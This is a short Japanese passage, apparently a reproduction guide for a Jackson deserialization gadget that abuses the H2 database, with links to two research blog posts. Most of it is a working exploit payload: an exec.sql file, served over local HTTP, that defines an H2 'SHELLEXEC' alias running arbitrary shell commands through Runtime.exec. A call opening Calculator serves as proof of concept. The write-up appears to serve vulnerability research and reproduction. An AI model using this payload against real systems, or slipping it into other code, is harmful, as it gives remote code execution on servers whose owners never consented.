
プロジェクトをIDEAにインポートし、Mavenを設定した後に依存ライブラリの自動インポートを設定します。次に、ローカルのWeb空ディレクトリに以下のファイルを作成し、exec.sqlとして保存します。そしてhttpサーバーを起動します:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"/bin/bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\0A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('open /Applications/Calculator.app')
コード内の対応する部分を変更して、異なるオペレーティングシステム環境に適合させてください。
電卓がポップアップ表示されるのを確認できます。
https://blog.doyensec.com/2019/07/22/jackson-gadgets.html
https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html